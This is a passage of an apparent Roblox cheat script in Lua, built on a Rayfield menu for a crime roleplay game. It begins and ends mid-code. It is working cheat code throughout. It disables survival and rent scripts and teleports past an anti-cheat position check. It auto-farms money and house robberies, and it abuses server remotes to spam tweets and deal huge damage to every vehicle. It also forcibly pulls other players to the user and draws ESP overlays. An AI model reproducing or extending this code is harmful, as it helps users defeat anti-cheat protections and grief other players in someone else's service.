                            and player.PlayerGui.Run.Frame.Frame.Frame:FindFirstChild("StaminaBarScript")
                        if staminaScript then
                            staminaScript.Disabled = true
                        end
                    end
                end
            end)
        end
    end
})

local AntiHungerEnabled = false
MiscTab:CreateToggle({
    Name = "Inf Hunger",
    CurrentValue = false,
    Callback = function(Value)
        AntiHungerEnabled = Value
        if Value then
            task.spawn(function()
                while AntiHungerEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player:FindFirstChild("PlayerGui") then
                        local hungerGui = player.PlayerGui:FindFirstChild("Hunger")
                        if hungerGui then
                            local hungerScript = hungerGui:FindFirstChild("Frame") 
                                and hungerGui.Frame:FindFirstChild("Frame") 
                                and hungerGui.Frame.Frame:FindFirstChild("Frame") 
                                and hungerGui.Frame.Frame.Frame:FindFirstChild("HungerBarScript")
                            if hungerScript then
                                hungerScript.Disabled = true
                            end
                        end
                    end
                end
            end)
        end
    end
})

local AntiSleepEnabled = false
MiscTab:CreateToggle({
    Name = "Inf Sleep",
    CurrentValue = false,
    Callback = function(Value)
        AntiSleepEnabled = Value
        if Value then
            task.spawn(function()
                while AntiSleepEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player:FindFirstChild("PlayerGui") then
                        local sleepGui = player.PlayerGui:FindFirstChild("SleepGui")
                        if sleepGui then
                            local sleepScript = sleepGui:FindFirstChild("Frame") 
                                and sleepGui.Frame:FindFirstChild("sleep") 
                                and sleepGui.Frame.sleep:FindFirstChild("SleepBar") 
                                and sleepGui.Frame.sleep.SleepBar:FindFirstChild("sleepScript")
                            if sleepScript then
                                sleepScript.Disabled = true
                            end
                        end
                    end
                end
            end)
        end
    end
})

local AntiFallEnabled = false
local AntiFallToggle = MiscTab:CreateToggle({
    Name = "No Fall Damage",
    CurrentValue = false,
    Callback = function(Value)
        AntiFallEnabled = Value
        if Value then
            task.spawn(function()
                while AntiFallEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player.Character then
                        local fallDamage = player.Character:FindFirstChild("FallDamageRagdoll")
                        if fallDamage then
                            fallDamage.Disabled = true
                        end
                    end
                end
            end)
        end
    end
})

MiscTab:CreateToggle({
    Name = "No Jump Cooldown",
    CurrentValue = false,
    Flag = "AntiJumpCooldown",
    Callback = function(Value)
        getgenv().noJumpCooldown = Value

        if Value then
            task.spawn(function()
                while getgenv().noJumpCooldown do
                    task.wait(0.2)
                    pcall(function()
                        local playerGui = game:GetService("Players").LocalPlayer:FindFirstChild("PlayerGui")
                        if playerGui then
                            local debounce = playerGui:FindFirstChild("JumpDebounce")
                            if debounce then
                                debounce:Destroy()
                            end
                        end
                    end)
                end
            end)
        end
    end,
})

local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
local player = Players.LocalPlayer

MiscTab:CreateButton({
    Name = "Join VC Server",
    Callback = function()
        TeleportService:Teleport(13453616108, player)
    end,
})

local AntiRentPayEnabled = false
MiscTab:CreateToggle({
    Name = "No Rent Pay",
    CurrentValue = false,
    Callback = function(Value)
        AntiRentPayEnabled = Value
        if Value then
            task.spawn(function()
                while AntiRentPayEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    local rentGui = player:FindFirstChild("PlayerGui") and player.PlayerGui:FindFirstChild("RentGui")
                    if rentGui then
                        local rentScript = rentGui:FindFirstChild("LocalScript")
                        if rentScript then
                            rentScript.Disabled = true
                            rentScript:Destroy()
                        end
                    end
                end
            end)
        end
    end
})

MiscTab:CreateSection("Character Modifications")

local function updateCharacterProperty(property, value)
    local character = game.Players.LocalPlayer.Character
    if character and character:FindFirstChild("CharacterSettings") then
        local settings = require(character.CharacterSettings)
        settings[property] = value
    end
end

local executor = identifyexecutor and identifyexecutor() or "Unknown"
local bannedExecutors = {
    ["Solara"] = true,
    ["JJSploit"] = true,
    ["Xeno"] = true,
    ["Zorara"] = true,
    ["Ronix"] = true,
}

if not bannedExecutors[executor] then

MiscTab:CreateToggle({
        Name = "No Max Pick Up Range",
        CurrentValue = false,
        Flag = "MaxPickUpRange",
        Callback = function(Value)
            updateCharacterProperty("MaxPickUpRange", Value and 1000 or 6.5)
        end
    })

MiscTab:CreateToggle({
        Name = "No KnockBack",
        CurrentValue = false,
        Flag = "NoKnockBack",
        Callback = function(Value)
            updateCharacterProperty("KnockAt", Value and 1000 or 27)
        end
    })

MiscTab:CreateToggle({
        Name = "No Carry Cooldown",
        CurrentValue = false,
        Flag = "NoCarryCooldown",
        Callback = function(Value)
            updateCharacterProperty("CarryCooldown", Value and 0 or 0.25)
        end
    })
else
    warn("Executor not supported:", executor)
end

MiscTab:CreateSection("Car")

local function unlockAllCars()
    local cars = workspace:FindFirstChild("CivCars")
    if not cars then return end

    for _, car in ipairs(cars:GetChildren()) do
        if car:FindFirstChild("DriveSeat") then
            car.DriveSeat.Disabled = false
        end
    end
end

MiscTab:CreateButton({
	Name = "Unlock All Cars",
	Callback = function()
		unlockAllCars()
	end,
})

MiscTab:CreateSection("Miscellaneous")

local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")
local ProximityPromptService = game:GetService("ProximityPromptService")

local promptConnection

local function enableInstantInteract()
    
    for _, prompt in pairs(Workspace:GetDescendants()) do
        if prompt:IsA("ProximityPrompt") then
            prompt.HoldDuration = 0
        end
    end


    promptConnection = ProximityPromptService.PromptButtonHoldBegan:Connect(function(prompt)
        prompt.HoldDuration = 0
    end)
end

local function disableInstantInteract()
    if promptConnection then
        promptConnection:Disconnect()
        promptConnection = nil
    end
end

MiscTab:CreateToggle({
    Name = "Instant Interact",
    CurrentValue = false,
    Flag = "InstantInteractToggle",
    Callback = function(enabled)
        if enabled then
            enableInstantInteract()
        else
            disableInstantInteract()
        end
    end,
})

local AntiCameraShakeEnabled = false
local AntiCameraShakeToggle = MiscTab:CreateToggle({
    Name = "No Camera Bobbing",
    CurrentValue = false,
    Callback = function(Value)
        AntiCameraShakeEnabled = Value
        if Value then
            task.spawn(function()
                while AntiCameraShakeEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player.Character then
                        local cameraBobbing = player.Character:FindFirstChild("CameraBobbing")
                        if cameraBobbing then
                            cameraBobbing:Destroy()
                        end
                    end
                end
            end)
        end
    end
})


local playerGui = player:WaitForChild("PlayerGui")

local bloodGui = playerGui:FindFirstChild("BloodGui") or playerGui:WaitForChild("BloodGui")
bloodGui.Enabled = true
 MiscTab:CreateToggle({
   Name = "No blood",
   CurrentValue = false,
   Flag = "Toggle1", 
   Callback = function(Value)
    if Value then
        bloodGui.Enabled = false
    else
        bloodGui.Enabled = true
    end
   end,
})

 MiscTab:CreateToggle({
   Name = "No Death Screen",
   CurrentValue = false,
   Flag = "Toggle1", 
   Callback = function(Value)
    if Value then
        game:GetService("ReplicatedStorage"):WaitForChild("deathScreen").Enabled = false
    else
        game:GetService("ReplicatedStorage"):WaitForChild("deathScreen").Enabled = true
    end
   end,
})



local Toggle = MiscTab:CreateToggle({
   Name = "No Crawl When Damaged",
   CurrentValue = false,
   Callback = function(enabled)
      local function handleCharacter(character)
         local crawlScript = character:FindFirstChild("crawlWhenDamaged")
         if crawlScript then
            crawlScript.Disabled = enabled
         end

         local humanoid = character:FindFirstChildOfClass("Humanoid")
         if humanoid then
            for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
               if track.Name == "crawlAnimation" then
                  if enabled then
                     track:Stop()
                  end
               end
            end
         end
      end

      if localPlayer.Character then
         handleCharacter(localPlayer.Character)
      end

      localPlayer.CharacterAdded:Connect(function(char)
         if enabled then
            handleCharacter(char)
         end
      end)
   end
})

MiscTab:CreateSection("AutoBuy")



local AutofarmTab = Window:CreateTab("Autofarm", nil)
local AutofarmSection = AutofarmTab:CreateSection("Studio Autofarm")

local camera = workspace.CurrentCamera

function stuidoprompt()
	for _, v in pairs(workspace.StudioPay.Money:GetDescendants()) do
		if v:IsA("ProximityPrompt") and v.Name == "Prompt" then
			v.HoldDuration = 0
			v.RequiresLineOfSight = false
		end
	end
end

AutofarmTab:CreateToggle({
	Name = "Enable Studio Autofarm",
	CurrentValue = false,
	Flag = "RobStudioToggle",
	Callback = function(Value)
		local robstudio = Value

		if robstudio then
			local player = game.Players.LocalPlayer
			local root = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
			local humanoid = player.Character and player.Character:FindFirstChild("Humanoid")
			if not root or not humanoid then return end

			local originalCFrame = root.CFrame
			stuidoprompt()

			for _, v in pairs(workspace.StudioPay.Money:GetDescendants()) do
				if v:IsA("ProximityPrompt") and v.Name == "Prompt" and v.Enabled then
					humanoid:ChangeState(0)
					repeat task.wait() until not player:GetAttribute("LastACPos")

					root.CFrame = CFrame.new(
						v.Parent.Position.X,
						v.Parent.Position.Y + 2,
						v.Parent.Position.Z
					)

					camera.CFrame = CFrame.new(camera.CFrame.Position, v.Parent.Position)
					task.wait(0.25)

					repeat
						task.wait(0.3)
						fireproximityprompt(v)
					until v.Enabled == false or not robstudio

					if not robstudio then break end
				end
			end

			if robstudio then
				root.CFrame = originalCFrame
			end
		end
	end
})

AutofarmTab:CreateButton({
	Name = "Check Studio For Money",
	Callback = function()
		local moneyExists = false
		for _, v in pairs(workspace.StudioPay.Money:GetDescendants()) do
			if v:IsA("ProximityPrompt") and v.Name == "Prompt" and v.Enabled then
				moneyExists = true
				break
			end
		end

		if moneyExists then
			Rayfield:Notify({
				Title = "Studio",
				Content = "Money Found In Studio.",
				Duration = 5,
				Image = "pound-sterling",
			})
		else
			Rayfield:Notify({
				Title = "Studio",
				Content = "No Money Found In Studio.",
				Duration = 5,
				Image = "pound-sterling",
			})
		end
	end
})

local AutofarmSection = AutofarmTab:CreateSection("Dumpster Autofarm")

local player = game.Players.LocalPlayer

function teleport(x, y, z)
	local char = player.Character or player.CharacterAdded:Wait()
	local humanoid = char:WaitForChild("Humanoid")
	local root = char:WaitForChild("HumanoidRootPart")

	humanoid:ChangeState(0)
	repeat task.wait() until not player:GetAttribute("LastACPos")
	root.CFrame = CFrame.new(x, y, z)
end

AutofarmTab:CreateToggle({
	Name = "Search Trashbags",
	CurrentValue = false,
	Flag = "LootTrashToggle",
	Callback = function(Value)
		getgenv().loottrash = Value
		if Value then
			for _, v in pairs(workspace:GetDescendants()) do
				if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" and v.Parent.Name == "DumpsterPromt" then
					v.HoldDuration = 0
					v.RequiresLineOfSight = false
				end
			end

			task.spawn(function()
				while getgenv().loottrash do
					task.wait()
					for _, v in pairs(workspace:GetDescendants()) do
						if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" and v.Parent.Name == "DumpsterPromt" then
							local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
							if hrp then
								teleport(v.Parent.Position.X, v.Parent.Position.Y, v.Parent.Position.Z + 3)
							end
							workspace.CurrentCamera.CFrame = CFrame.new(workspace.CurrentCamera.CFrame.Position, v.Parent.Position)
							task.wait(0.3)
							for _ = 1, 10 do fireproximityprompt(v) end
							task.wait(0.1)
							if not getgenv().loottrash then break end
						end
					end
				end
			end)
		end
	end
})

AutofarmTab:CreateToggle({
	Name = "Auto Sell Pawned items",
	CurrentValue = false,
	Flag = "AutoSellToggle",
	Callback = function(Value)
		getgenv().autoSellEnabled = Value
		if Value then
			task.spawn(function()
				while getgenv().autoSellEnabled do
					for _, frame in ipairs(player.PlayerGui["Bronx PAWNING"].Frame.Holder.List:GetChildren()) do
						if frame:IsA("Frame") then
							local itemName = frame.Item.Text
							while player.Backpack:FindFirstChild(itemName) do
								game.ReplicatedStorage.PawnRemote:FireServer(itemName)
								task.wait(0.05)
							end
						end
					end
					task.wait(2)
				end
			end)
		end
	end
})

local AutofarmSection = AutofarmTab:CreateSection("Construction Autofarm")

local autofarmRunning = false
local Players = game:GetService("Players")
local speaker = Players.LocalPlayer

local function getCharacter()
	return speaker.Character or speaker.CharacterAdded:Wait()
end

local function safeTeleport(cf)
	local character = getCharacter()
	local humanoid = character:WaitForChild("Humanoid")
	local hrp = character:WaitForChild("HumanoidRootPart")
	humanoid:ChangeState(0)
	repeat task.wait() until not speaker:GetAttribute("LastACPos")
	hrp.CFrame = cf
end

AutofarmTab:CreateToggle({
	Name = "Enable Construction Autofarm",
	CurrentValue = false,
	Flag = "ConstructionFarmFlag",
	Callback = function(Value)
		autofarmRunning = Value
		if not speaker then return end

		local function getBackpack()
			return speaker:FindFirstChild("Backpack")
		end

		local function hasPlyWood()
			local backpack = getBackpack()
			local character = getCharacter()
			return (backpack and backpack:FindFirstChild("PlyWood")) or (character and character:FindFirstChild("PlyWood"))
		end

		local function equipPlyWood()
			local backpack = getBackpack()
			if backpack then
				local plyWood = backpack:FindFirstChild("PlyWood")
				if plyWood then
					plyWood.Parent = getCharacter()
				end
			end
		end

		local function fireProximityPrompt(prompt)
			if prompt and prompt:IsA("ProximityPrompt") then
				fireproximityprompt(prompt)
			end
		end

		local function grabWood()
			safeTeleport(CFrame.new(-1727, 371, -1178))
			task.wait(0.1)

			while autofarmRunning and not hasPlyWood() do
				fireProximityPrompt(workspace.ConstructionStuff["Grab Wood"]:FindFirstChildOfClass("ProximityPrompt"))
				task.wait(0.1)
				equipPlyWood()
			end
		end

		local function buildWall(wallPromptName, wallPosition)
			local prompt = workspace.ConstructionStuff[wallPromptName]:FindFirstChildOfClass("ProximityPrompt")

			while autofarmRunning and prompt and prompt.Enabled do
				safeTeleport(wallPosition)
				task.wait(0.01)
				fireProximityPrompt(prompt)
				task.wait()
				if not hasPlyWood() then
					grabWood()
				end
			end
		end

		if autofarmRunning then
			task.spawn(function()
				while autofarmRunning do
					if not hasPlyWood() then
						grabWood()
					end

					buildWall("Wall2 Prompt", CFrame.new(-1705, 368, -1151))
					buildWall("Wall3 Prompt", CFrame.new(-1732, 368, -1152))
					buildWall("Wall4 Prompt2", CFrame.new(-1772, 368, -1152))
					buildWall("Wall1 Prompt3", CFrame.new(-1674, 368, -1166))

					task.wait(0.1)
				end
			end)
		end
	end
})

AutofarmTab:CreateButton({
    Name = "Start Construction Job",
    Callback = function()
        local player = game:GetService("Players").LocalPlayer
        if not player then return end

        local function getCharacter()
            return player.Character or player.CharacterAdded:Wait()
        end

        local function safeTeleport(cf)
            local char = getCharacter()
            local humanoid = char:WaitForChild("Humanoid")
            local hrp = char:WaitForChild("HumanoidRootPart")
            humanoid:ChangeState(0)
            repeat task.wait() until not player:GetAttribute("LastACPos")
            hrp.CFrame = cf
        end

        local function fireProximityPrompt(prompt)
            if prompt and prompt:IsA("ProximityPrompt") then
                fireproximityprompt(prompt)
            end
        end

        local char = getCharacter()
        safeTeleport(CFrame.new(-1728, 371, -1172))
        task.wait(0.2)
        fireProximityPrompt(workspace.ConstructionStuff["Start Job"]:FindFirstChildOfClass("ProximityPrompt"))
        task.wait(0.5)
    end,
})


local AutofarmSection = AutofarmTab:CreateSection("House Rob Autofarm")

local Players = game:GetService("Players")
local player = Players.LocalPlayer
local Camera = workspace.CurrentCamera

function BypassTp(cf)
	local char = player.Character or player.CharacterAdded:Wait()
	local humanoid = char:WaitForChild("Humanoid")
	local root = char:WaitForChild("HumanoidRootPart")

	humanoid:ChangeState(0)
	repeat task.wait() until not player:GetAttribute("LastACPos")
	root.CFrame = cf
end

local Houseleft = {}
local Houseright = {}

local targetPosition = Vector3.new(-615, 254, -695)

function updateDoors()
	table.clear(Houseleft)
	table.clear(Houseright)

	for _, v in pairs(workspace.HouseRobb:GetDescendants()) do
		if (v.Name == "WoodenDoor" or v.Name == "HardDoor") and v:IsA("BasePart") and v:FindFirstChild("ProximityPrompt") then
			if (v.Position - targetPosition).Magnitude <= 10 then
				Houseright[v.Name] = v
			else
				Houseleft[v.Name] = v
			end
		end
	end
end

function HouseRobPrompts()
	for _, v in pairs(workspace.HouseRobb:GetDescendants()) do
		if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
			v.HoldDuration = 0
			v.RequiresLineOfSight = false
			v.Enabled = false
		end
	end
end

AutofarmTab:CreateToggle({
	Name = "Rob Houses",
	CurrentValue = false,
	Flag = "RobHouseToggle",
	Callback = function(Value)
		RobHouse = Value
		local OldCframe = player.Character.HumanoidRootPart.CFrame

		if RobHouse then
			HouseRobPrompts()
		end

		task.spawn(function()
			while RobHouse do
				task.wait()
				updateDoors()

				if not RobHouse then break end

				local house1Robbed = Houseleft["HardDoor"] and Houseleft["HardDoor"].Transparency == 1
				local moneyParts = Houseleft["HardDoor"] and Houseleft["HardDoor"].Parent.Parent:FindFirstChild("TakeMoney")
				local moneyFound = false

				if house1Robbed and moneyParts then
					for _, part in pairs(moneyParts:GetChildren()) do
						if part.Name == "MoneyGrab" and part.Transparency == 0 then
							moneyFound = true
							break
						end
					end
				end

				if not house1Robbed then
					for _, v in pairs(Houseleft["HardDoor"]:GetDescendants()) do
						if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
							v.Enabled = true
							BypassTp(v.Parent.CFrame * CFrame.new(-1.5, 0, 0))
							Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
							repeat task.wait() fireproximityprompt(v) until Houseleft["HardDoor"].Transparency == 1
						end
					end

					for _, v in pairs(Houseleft["HardDoor"].Parent.Parent:GetDescendants()) do
						if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
							HouseRobPrompts()
							local targetCFrame = v.Parent.CFrame * CFrame.new(0, 0, -3)
							BypassTp(targetCFrame)
							Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
							v.Enabled = true
							repeat fireproximityprompt(v) task.wait() until v.Parent.Transparency == 1
							v.Enabled = false
						end
					end
				end

				local house2Robbed = Houseright["WoodenDoor"] and Houseright["WoodenDoor"].Transparency == 1
				local moneyParts2 = Houseright["WoodenDoor"] and Houseright["WoodenDoor"].Parent.Parent:FindFirstChild("TakeMoney")
				local moneyFound2 = false

				if house2Robbed and moneyParts2 then
					for _, part in pairs(moneyParts2:GetChildren()) do
						if part.Name == "MoneyGrab" and part.Transparency == 0 then
							moneyFound2 = true
							break
						end
					end
				end

				if not house2Robbed then
					for _, v in pairs(Houseright["WoodenDoor"]:GetDescendants()) do
						if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
							v.Enabled = true
							BypassTp(v.Parent.CFrame * CFrame.new(-1.5, 0, 0))
							Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
							repeat task.wait() fireproximityprompt(v) until Houseright["WoodenDoor"].Transparency == 1
						end
					end

					for _, v in pairs(Houseright["WoodenDoor"].Parent.Parent:GetDescendants()) do
						if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
							HouseRobPrompts()
							local targetCFrame = v.Parent.CFrame * CFrame.new(0, 0, -3)
							BypassTp(targetCFrame)
							Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.Position)
							v.Enabled = true
							repeat fireproximityprompt(v) task.wait() until v.Parent.Transparency == 1
							v.Enabled = false
						end
					end
				end

				BypassTp(OldCframe)
				break
			end
		end)
	end
})

AutofarmTab:CreateButton({
	Name = "Check Houses For Money",
	Callback = function()
		updateDoors()
		local moneyInHouse1 = false
		local moneyInHouse2 = false

		if Houseleft["HardDoor"] and Houseleft["HardDoor"].Parent.Parent:FindFirstChild("TakeMoney") then
			for _, part in pairs(Houseleft["HardDoor"].Parent.Parent.TakeMoney:GetChildren()) do
				if part.Name == "MoneyGrab" and part.Transparency == 0 then
					moneyInHouse1 = true
					break
				end
			end
		end

		if Houseright["WoodenDoor"] and Houseright["WoodenDoor"].Parent.Parent:FindFirstChild("TakeMoney") then
			for _, part in pairs(Houseright["WoodenDoor"].Parent.Parent.TakeMoney:GetChildren()) do
				if part.Name == "MoneyGrab" and part.Transparency == 0 then
					moneyInHouse2 = true
					break
				end
			end
		end

		if moneyInHouse1 or moneyInHouse2 then
			Rayfield:Notify({
				Title = "House Check",
				Content = "Money found in houses!",
				Duration = 3,
				Image = "pound-sterling",
			})
		else
			Rayfield:Notify({
				Title = "House Check",
				Content = "No money found in houses.",
				Duration = 3,
				Image = "pound-sterling",
			})
		end
	end
})

local AutofarmSection = AutofarmTab:CreateSection("Manual Autofarms")

local player = game.Players.LocalPlayer
local Camera = workspace.CurrentCamera
local stealm = false
local stealTask

local function StealMoneyPrompt()
    for _, v in pairs(workspace.Dollas:GetDescendants()) do
        if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" then
            v.HoldDuration = 0
            v.RequiresLineOfSight = false
        end
    end
end

local function startStealing()
    StealMoneyPrompt()
    stealTask = task.spawn(function()
        while stealm do
            task.wait()
            local found = false

            for _, v in pairs(workspace.Dollas:GetDescendants()) do
                if v:IsA("ProximityPrompt") and v.Name == "ProximityPrompt" and stealm then
                    found = true
                    StealMoneyPrompt()
                    Camera.CFrame = CFrame.new(Camera.CFrame.Position, v.Parent.CFrame.Position)

                    local char = player.Character
                    local humanoid = char and char:FindFirstChildOfClass("Humanoid")
                    local hrp = char and char:FindFirstChild("HumanoidRootPart")
                    if humanoid and hrp then
                        humanoid:ChangeState(0)
                        repeat task.wait() until not player:GetAttribute("LastACPos")
                        hrp.CFrame = v.Parent.CFrame
                    end

                    task.wait(0.25)
                    fireproximityprompt(v)
                end
            end

            if not found then
                pcall(function()
                    Rayfield:Notify({
                        Title = "Auto Cash Pickup",
                        Content = "No dropped cash found!",
                        Duration = 4,
                        Image = "pound-sterling",
                    })
                end)
                task.wait(3) -- Wait a bit to avoid spamming
            end
        end
    end)
end

local function stopStealing()
    stealm = false
    if stealTask then
        task.cancel(stealTask)
        stealTask = nil
    end
end

AutofarmTab:CreateToggle({
    Name = "Auto Collect Dropped Cash",
    CurrentValue = false,
    Flag = "AutoPickupToggle",
    Callback = function(value)
        stealm = value
        if stealm then
            startStealing()
        else
            stopStealing()
        end
    end
})

local PlayersTab = Window:CreateTab("Players", nil)

local function safeTeleport(x, y, z)
    local character = getCharacter()
    if not character then return end
    local humanoid = character:FindFirstChild("Humanoid")
    local hrp = character:FindFirstChild("HumanoidRootPart")
    if not humanoid or not hrp then return end
    humanoid:ChangeState(0)
    repeat task.wait() until not speaker:GetAttribute("LastACPos")
    local cf = CFrame.new(x, y, z)
    hrp.CFrame = cf
end

local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer

local function getPlayerNames()
    local names = {}
    for _, p in ipairs(Players:GetPlayers()) do
        if p ~= localPlayer then
            table.insert(names, p.Name)
        end
    end
    return names
end

local selectedPlayer = nil

PlayersTab:CreateSection("Player")

local Dropdown = PlayersTab:CreateDropdown({
    Name = "Select Player",
    Options = getPlayerNames(),
    CurrentOption = {"None"},
    MultipleOptions = false,
    Flag = "Dropdown1",
    Callback = function(Options)
        selectedPlayer = Players:FindFirstChild(Options[1])
    end,
})

PlayersTab:CreateSection("Spectate")

PlayersTab:CreateToggle({
    Name = "Spectate Selected Player",
    CurrentValue = false,
    Flag = "SpectateToggle",
    Callback = function(Value)
        if Value then
            if selectedPlayer and selectedPlayer.Character then
                workspace.CurrentCamera.CameraSubject = selectedPlayer.Character:FindFirstChildOfClass("Humanoid")
            end
        else
            local character = getCharacter()
            if character and character:FindFirstChildOfClass("Humanoid") then
                workspace.CurrentCamera.CameraSubject = character:FindFirstChildOfClass("Humanoid")
            end
        end
    end,
})

PlayersTab:CreateSection("Teleport")

PlayersTab:CreateButton({
    Name = "Teleport To Selected Player",
    Callback = function()
        if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("HumanoidRootPart") then
            local pos = selectedPlayer.Character.HumanoidRootPart.Position
            safeTeleport(pos.X, pos.Y, pos.Z)
        end
    end,
})

Players.PlayerAdded:Connect(function()
    Dropdown:Refresh(getPlayerNames())
end)

Players.PlayerRemoving:Connect(function()
    Dropdown:Refresh(getPlayerNames())
end)

local loopTeleport = false
local loopBring = false

local teleportLoop
local bringLoop

PlayersTab:CreateToggle({
    Name = "Loop Teleport To Selected Player",
    CurrentValue = false,
    Flag = "LoopTeleportToggle",
    Callback = function(Value)
        loopTeleport = Value
        if loopTeleport then
            teleportLoop = task.spawn(function()
                while loopTeleport do
                    if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("HumanoidRootPart") then
                        local pos = selectedPlayer.Character.HumanoidRootPart.Position
                        safeTeleport(pos.X, pos.Y, pos.Z)
                    end
                    task.wait(0.1)
                end
            end)
        end
    end,
})

PlayersTab:CreateToggle({
    Name = "Loop Bring Selected Player",
    CurrentValue = false,
    Flag = "LoopBringToggle",
    Callback = function(Value)
        loopBring = Value
        if loopBring then
            bringLoop = task.spawn(function()
                while loopBring do
                    if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("HumanoidRootPart") then
                        local character = getCharacter()
                        if character and character:FindFirstChild("HumanoidRootPart") then
                            local myPos = character.HumanoidRootPart.Position
                            selectedPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(myPos)
                        end
                    end
                    task.wait(0.1)
                end
            end)
        end
    end,
})

local PlayersSection = PlayersTab:CreateSection("Tweet Messages")

local messageToSend = ""
local spamming = false
local spamDelay = 0

local function sendTweet()
    if messageToSend ~= "" then
        local args = {
            "Tweet",
            {
                "CreateTweet",
                messageToSend
            }
        }
        game:GetService("ReplicatedStorage")
            :WaitForChild("Resources")
            :WaitForChild("#Phone")
            :WaitForChild("Main")
            :FireServer(unpack(args))
    end
end

PlayersTab:CreateInput({
    Name = "Tweet Message",
    PlaceholderText = "X-Dk on top",
    RemoveTextAfterFocusLost = false,
    EnterSubmit = true,
    Callback = function(Input)
        messageToSend = Input
        sendTweet()
    end,
})

local Slider = PlayersTab:CreateSlider({
   Name = "Spam Tweets Delay",
   Range = {0, 10},
   Increment = 1,
   Suffix = "s",
   CurrentValue = 10,
   Flag = "Slider1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
   Callback = function(Value)
       local spamDelay = Value
   end,
})

PlayersTab:CreateToggle({
    Name = "Spam Tweets",
    CurrentValue = false,
    Flag = "spamToggle",
    Callback = function(value)
        spamming = value
        if spamming then
            spawn(function()
                while spamming do
                    sendTweet()
                    wait(spamDelay)
                end
            end)
        end
    end,
})


getgenv().notify = true
getgenv().highlightdestroy = true
getgenv().damage = 9e9

function checkgun()
    local tool = game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool")
    return tool
end

function getpaint(car)
    return car.PrimaryPart or car:FindFirstChildWhichIsA("BasePart")
end

function DamageAllVehicles()
    local gunTool = checkgun()
    if not gunTool then
        game.StarterGui:SetCore("SendNotification", {
            Title = "❗️",
            Text = "You need to equip a gun!"
        })
        return
    end

    for _, car in ipairs(workspace:WaitForChild("CivCars"):GetChildren()) do
        if getgenv().notify then
            Rayfield:Notify({
                Title = "Damaged All Cars.",
                Content = car.Name .. " was damaged!",
                Duration = 3,
                Image = "rewind",
            })
        end

        if getgenv().highlightdestroy then
            local highlight = Instance.new("Highlight")
            highlight.FillColor = Color3.fromRGB(255, 0, 0)
            highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
            highlight.Parent = car
            game.Debris:AddItem(highlight, 2)
        end

        local targetPart = getpaint(car)
        if targetPart then
            game:GetService("ReplicatedStorage").InflictCar:InvokeServer(
                gunTool,
                car,
                targetPart,
                getgenv().damage
            )
        end
    end
end

local Button = PlayersTab:CreateButton({
   Name = "Explode All Vehicles",
   Callback = function()
       DamageAllVehicles()
   end,
})

local VisualsTab = Window:CreateTab("Visuals", nil)
VisualsTab:CreateSection("Boxes")

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Camera = workspace.CurrentCamera
local RunService = game:GetService("RunService")

local ESPConnections = {}

local ShowBox, RainbowBox = false, false
local ShowName, RainbowName = false, false
local ShowHealth, RainbowHealth = false, false
local ShowDistance, RainbowDistance = false, false
local ShowTool, RainbowTool = false, false
local ShowTracer, RainbowTracer = false, false

local BoxColor = Color3.new(1, 1, 1)
local NameColor = Color3.fromRGB(255, 255, 255)
local HealthColor = Color3.fromRGB(255, 255, 255)
local DistanceColor = Color3.fromRGB(255, 255, 255)
local ToolColor = Color3.fromRGB(255, 255, 255)
local TracerColor = Color3.fromRGB(255, 255, 255)

local TracerOrigin = "Bottom"

local function getRainbowColor()
	local t = tick() * 2
	return Color3.fromHSV((t % 5) / 5, 1, 1)
end

function createESP(player)
	local boxOutline = Drawing.new("Square")
	boxOutline.Thickness = 1
	boxOutline.Transparency = 1
	boxOutline.Visible = false
	boxOutline.Filled = false

	local function newText(size)
		local text = Drawing.new("Text")
		text.Size = size
		text.Center = true
		text.Outline = false
		text.Visible = false
		return text
	end

	local nameText = newText(14)
	local healthText = newText(13) healthText.Center = false
	local distanceText = newText(13)
	local toolText = newText(13)

	local tracer = Drawing.new("Line")
	tracer.Thickness = 1
	tracer.Transparency = 1
	tracer.Visible = false

	local conn = RunService.RenderStepped:Connect(function()
		if not player.Character or not player.Character:FindFirstChild("HumanoidRootPart") then
			boxOutline.Visible = false
			nameText.Visible = false
			healthText.Visible = false
			distanceText.Visible = false
			toolText.Visible = false
			tracer.Visible = false
			return
		end

		local hrp = player.Character.HumanoidRootPart
		local pos, onScreen = Camera:WorldToViewportPoint(hrp.Position)

		if onScreen then
			local distance = (LocalPlayer.Character.HumanoidRootPart.Position - hrp.Position).Magnitude
			local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
			local health = humanoid and humanoid.Health or 0
			local maxHealth = humanoid and humanoid.MaxHealth or 100
			local healthPercent = math.floor((health / maxHealth) * 100)

			local toolName = "None"
			local tool = player.Character:FindFirstChildOfClass("Tool")
			if tool then toolName = tool.Name end

			local height = math.clamp(3000 / distance, 2, 100)
			local width = height / 2
